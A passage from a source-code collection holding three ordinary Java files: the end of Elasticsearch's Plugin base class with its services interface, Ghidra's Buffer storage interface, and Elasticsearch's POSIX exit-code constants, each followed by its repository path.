<li>{@link HealthPlugin} * <li>{@link IngestPlugin} * <li>{@link MapperPlugin} * <li>{@link NetworkPlugin} * <li>{@link RepositoryPlugin} * <li>{@link ScriptPlugin} * <li>{@link SearchPlugin} * <li>{@link ReloadablePlugin} * </ul> */ public abstract class Plugin implements Closeable { /** * Provides access to various Elasticsearch services. */ public interface PluginServices { /** * A client to make requests to the system */ Client client(); /** * A service to allow watching and updating cluster state */ ClusterService clusterService(); /** * A service to reroute shards to other nodes */ RerouteService rerouteService(); /** * A service to allow retrieving an executor to run an async action */ ThreadPool threadPool(); /** * A service to watch for changes to node local files */ ResourceWatcherService resourceWatcherService(); /** * A service to allow running scripts on the local node */ ScriptService scriptService(); /** * The registry for extensible xContent parsing */ NamedXContentRegistry xContentRegistry(); /** * The environment for path and setting configurations */ Environment environment(); /** * The node environment used coordinate access to the data paths */ NodeEnvironment nodeEnvironment(); /** * The registry for {@link NamedWriteable} object parsing */ NamedWriteableRegistry namedWriteableRegistry(); /** * A service that resolves expression to index and alias names */ IndexNameExpressionResolver indexNameExpressionResolver(); /** * A supplier for the service that manages snapshot repositories. * This will return null when {@link #createComponents(PluginServices)} is called, * but will return the repositories service once the node is initialized. */ Supplier<RepositoriesService> repositoriesServiceSupplier(); /** * An interface for distributed tracing */ TelemetryProvider telemetryProvider(); /** * A service to manage shard allocation in the cluster */ AllocationService allocationService(); /** * A service to manage indices in the cluster */ IndicesService indicesService(); /** * A service to access features supported by nodes in the cluster */ FeatureService featureService(); /** * The system indices for the cluster */ SystemIndices systemIndices(); /** * A service that resolves the data stream global retention that applies to * data streams managed by the data stream lifecycle. */ DataStreamGlobalRetentionResolver dataStreamGlobalRetentionResolver(); /** * A provider of utilities to observe and report parsing of documents */ DocumentParsingProvider documentParsingProvider(); } /** * Returns components added by this plugin. * <p> * Any components returned that implement {@link LifecycleComponent} will have their lifecycle managed. * Note: To aid in the migration away from guice, all objects returned as components will be bound in guice * to themselves. * * @param services Provides access to various Elasticsearch services */ public Collection<?> createComponents(PluginServices services) { return Collections.emptyList(); } /** * Additional node settings loaded by the plugin. Note that settings that are explicit in the nodes settings can't be * overwritten with the additional settings. These settings added if they don't exist. */ public Settings additionalSettings() { return Settings.EMPTY; } /** * Returns parsers for {@link NamedWriteable} this plugin will use over the transport protocol. * @see NamedWriteableRegistry */ public List<NamedWriteableRegistry.Entry> getNamedWriteables() { return Collections.emptyList(); } /** * Returns parsers for named objects this plugin will parse from {@link XContentParser#namedObject(Class, String, Object)}. * @see NamedWriteableRegistry */ public List<NamedXContentRegistry.Entry> getNamedXContent() { return Collections.emptyList(); } /** * Called before a new index is created on a node. The given module can be used to register index-level * extensions. */ public void onIndexModule(IndexModule indexModule) {} /** * Returns a list of additional {@link Setting} definitions for this plugin. */ public List<Setting<?>> getSettings() { return Collections.emptyList(); } /** * Returns a list of additional settings filter for this plugin */ public List<String> getSettingsFilter() { return Collections.emptyList(); } /** * Provides a function to modify index template meta data on startup. * <p> * Plugins should return the input template map via {@link UnaryOperator#identity()} if no upgrade is required. * <p> * The order of the template upgrader calls is undefined and can change between runs so, it is expected that * plugins will modify only templates owned by them to avoid conflicts. * * @return Never {@code null}. The same or upgraded {@code IndexTemplateMetadata} map. * @throws IllegalStateException if the node should not start because at least one {@code IndexTemplateMetadata} * cannot be upgraded */ public UnaryOperator<Map<String, IndexTemplateMetadata>> getIndexTemplateMetadataUpgrader() { return UnaryOperator.identity(); } /** * Provides the list of this plugin's custom thread pools, empty if * none. * * @param settings the current settings * @return executors builders for this plugin's custom thread pools */ public List<ExecutorBuilder<?>> getExecutorBuilders(Settings settings) { return Collections.emptyList(); } /** * Returns a list of checks that are enforced when a node starts up once a node has the transport protocol bound to a non-loopback * interface. In this case we assume the node is running in production and all bootstrap checks must pass. This allows plugins * to provide a better out of the box experience by pre-configuring otherwise (in production) mandatory settings or to enforce certain * configurations like OS settings or 3rd party resources. */ public List<BootstrapCheck> getBootstrapChecks() { return Collections.emptyList(); } /** * Close the resources opened by this plugin. * * @throws IOException if the plugin failed to close its resources */ @Override public void close() throws IOException { } /** * An {@link IndexSettingProvider} allows hooking in to parts of an index * lifecycle to provide explicit default settings for newly created indices. Rather than changing * the default values for an index-level setting, these act as though the setting has been set * explicitly, but still allow the setting to be overridden by a template or creation request body. */ public Collection<IndexSettingProvider> getAdditionalIndexSettingProviders(IndexSettingProvider.Parameters parameters) { return Collections.emptyList(); } }
elastic/elasticsearch
server/src/main/java/org/elasticsearch/plugins/Plugin.java
441
/* ### * IP: GHIDRA * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package db; import java.io.IOException; /** * <code>Buffer</code> provides a general purpose storage buffer interface * providing various data access methods. */ public interface Buffer { /** * Get the buffer ID for this buffer. * @return int */ public int getId(); /** * Get the length of the buffer in bytes. The length reflects the number of * bytes which have been allocated to the buffer. * @return length of allocated buffer. */ public int length(); /** * Get the byte data located at the specified offset and store into the * bytes array provided. * @param offset byte offset from start of buffer. * @param bytes byte array to store data * @throws IndexOutOfBoundsException is thrown if an invalid offset is specified. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public void get(int offset, byte[] bytes) throws IndexOutOfBoundsException, IOException; /** * Get the byte data located at the specified offset and store into the data * array at the specified data offset. * @param offset byte offset from the start of the buffer. * @param data byte array to store the data. * @param dataOffset offset into the data buffer * @param length amount of data to read * @throws IndexOutOfBoundsException if an invalid offset, dataOffset, or length is specified. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public void get(int offset, byte[] data, int dataOffset, int length) throws IndexOutOfBoundsException, IOException; /** * Get the byte data located at the specified offset. * @param offset byte offset from start of buffer. * @param length number of bytes to be read and returned * @return the byte array. * @throws IndexOutOfBoundsException is thrown if an invalid offset is * specified or the end of the buffer was encountered while reading the * data. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public byte[] get(int offset, int length) throws IndexOutOfBoundsException, IOException; /** * Get the 8-bit byte value located at the specified offset. * @param offset byte offset from start of buffer. * @return the byte value at the specified offset. * @throws IndexOutOfBoundsException is thrown if an invalid offset is specified. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public byte getByte(int offset) throws IndexOutOfBoundsException, IOException; /** * Get the 32-bit integer value located at the specified offset. * @param offset byte offset from start of buffer. * @return the integer value at the specified offset. * @throws IndexOutOfBoundsException is thrown if an invalid offset is * specified or the end of the buffer was encountered while reading the * value. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public int getInt(int offset) throws IndexOutOfBoundsException, IOException; /** * Get the 16-bit short value located at the specified offset. * @param offset byte offset from start of buffer. * @return the short value at the specified offset. * @throws IndexOutOfBoundsException is thrown if an invalid offset is * specified or the end of the buffer was encountered while reading the * value. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public short getShort(int offset) throws IndexOutOfBoundsException, IOException; /** * Get the 64-bit long value located at the specified offset. * @param offset byte offset from start of buffer. * @return the long value at the specified offset. * @throws IndexOutOfBoundsException is thrown if an invalid offset is * specified or the end of the buffer was encountered while reading the * value. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public long getLong(int offset) throws IndexOutOfBoundsException, IOException; /** * Put a specified number of bytes from the array provided into the buffer * at the specified offset. The number of bytes stored is specified by the * length specified. * @param offset byte offset from start of buffer. * @param data the byte data to be stored. * @param dataOffset the starting offset into the data. * @param length the number of bytes to be stored. * @return the next available offset into the buffer, or -1 if the buffer is * full. * @throws IndexOutOfBoundsException if an invalid offset is provided * or the end of buffer was encountered while storing the data. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public int put(int offset, byte[] data, int dataOffset, int length) throws IndexOutOfBoundsException, IOException; /** * Put the bytes provided into the buffer at the specified offset. The * number of bytes stored is determined by the length of the bytes * array. * @param offset byte offset from start of buffer. * @param bytes the byte data to be stored. * @return the next available offset into the buffer, or -1 if the buffer is * full. * @throws IndexOutOfBoundsException if an invalid offset is provided * or the end of buffer was encountered while storing the data. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public int put(int offset, byte[] bytes) throws IndexOutOfBoundsException, IOException; /** * Put the 8-bit byte value into the buffer at the specified offset. * @param offset byte offset from start of buffer. * @param b the byte value to be stored. * @return the next available offset into the buffer, or -1 if the buffer is * full. * @throws IndexOutOfBoundsException if an invalid offset is provided. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public int putByte(int offset, byte b) throws IndexOutOfBoundsException, IOException; /** * Put the 32-bit integer value into the buffer at the specified offset. * @param offset byte offset from start of buffer. * @param v the integer value to be stored. * @return the next available offset into the buffer, or -1 if the buffer is * full. * @throws IndexOutOfBoundsException if an invalid offset is provided * or the end of buffer was encountered while storing the data. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public int putInt(int offset, int v) throws IndexOutOfBoundsException, IOException; /** * Put the 16-bit short value into the buffer at the specified offset. * @param offset byte offset from start of buffer. * @param v the short value to be stored. * @return the next available offset into the buffer, or -1 if the buffer is * full. * @throws IndexOutOfBoundsException if an invalid offset is provided * or the end of buffer was encountered while storing the data. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public int putShort(int offset, short v) throws IndexOutOfBoundsException, IOException; /** * Put the 64-bit long value into the buffer at the specified offset. * @param offset byte offset from start of buffer. * @param v the long value to be stored. * @return the next available offset into the buffer, or -1 if the buffer is * full. * @throws IndexOutOfBoundsException if an invalid offset is provided * or the end of buffer was encountered while storing the data. * @throws IOException is thrown if an error occurs while accessing the * underlying storage. */ public int putLong(int offset, long v) throws IndexOutOfBoundsException, IOException; }
NationalSecurityAgency/ghidra
Ghidra/Framework/DB/src/main/java/db/Buffer.java
442
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License * 2.0 and the Server Side Public License, v 1; you may not use this file except * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ package org.elasticsearch.cli; /** * POSIX exit codes. */ public class ExitCodes { // please be extra careful when changing these as the values might be used in scripts, // usages of which are not tracked by the IDE public static final int OK = 0; public static final int USAGE = 64; // command line usage error public static final int DATA_ERROR = 65; // data format error public static final int NO_INPUT = 66; // cannot open input public static final int NO_USER = 67; // addressee unknown public static final int NO_HOST = 68; // host name unknown public static final int UNAVAILABLE = 69; // service unavailable public static final int CODE_ERROR = 70; // internal software error public static final int CANT_CREATE = 73; // can't create (user) output file public static final int IO_ERROR = 74; // input/output error public static final int TEMP_FAILURE = 75; // temp failure; user is invited to retry public static final int PROTOCOL = 76; // remote error in protocol public static final int NOPERM = 77; // permission denied public static final int CONFIG = 78; // configuration error public static final int NOOP = 80; // nothing to do private ExitCodes() { /* no instance, just constants */ } }
elastic/elasticsearch
libs/cli/src/main/java/org/elasticsearch/cli/ExitCodes.java